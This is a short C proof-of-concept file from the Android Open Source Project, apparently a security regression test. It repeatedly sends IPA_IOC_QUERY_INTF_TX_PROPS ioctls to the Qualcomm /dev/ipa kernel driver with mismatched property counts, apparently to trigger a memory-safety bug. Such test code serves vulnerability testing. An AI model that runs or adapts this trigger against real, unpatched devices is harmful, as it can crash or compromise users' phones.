1 /**
2 * Copyright (C) 2016 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions
14 * and limitations under the License.
15 **/
16
17
18 #define _GNU_SOURCE
19
20 #include <pthread.h>
21 #include <sys/types.h>
22 #include <sys/wait.h>
23
24 #include <sys/stat.h>
25 #include <fcntl.h>
26 #include <sys/ioctl.h>
27 #include <string.h>
28 #include "local_poc.h"
29 #include <unistd.h>
30 #include <stdio.h>
31
32 struct ipa_ioc_query_intf_tx_props_2 {
33 char name[IPA_RESOURCE_NAME_MAX];
34 uint32_t num_tx_props;
35 struct ipa_ioc_tx_intf_prop tx[2];
36 };
37
main()38 int main() {
39
40 int fd = open("/dev/ipa", O_RDWR);
41
42 struct ipa_ioc_query_intf query_intf;
43 strlcpy(&(query_intf.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
44
45 int result = ioctl(fd, IPA_IOC_QUERY_INTF, &query_intf);
46
47 ipa_ioc_query_intf_tx_props_2 tx_props_2;
48 memset(&tx_props_2, 0, sizeof(tx_props_2));
49 strlcpy(&(tx_props_2.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
50 tx_props_2.num_tx_props = 2;
51
52 int result2 = ioctl(fd, IPA_IOC_QUERY_INTF_TX_PROPS, &tx_props_2);
53
54 while (true) {
55 ipa_ioc_query_intf_tx_props tx_props;
56 memset(&tx_props, 0, sizeof(tx_props));
57 strlcpy(&(tx_props.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
58 tx_props.num_tx_props = 0;
59
60 int result3 = ioctl(fd, IPA_IOC_QUERY_INTF_TX_PROPS, &tx_props);
61
62 usleep(10000);
63 }
64 return 0;
65 }
66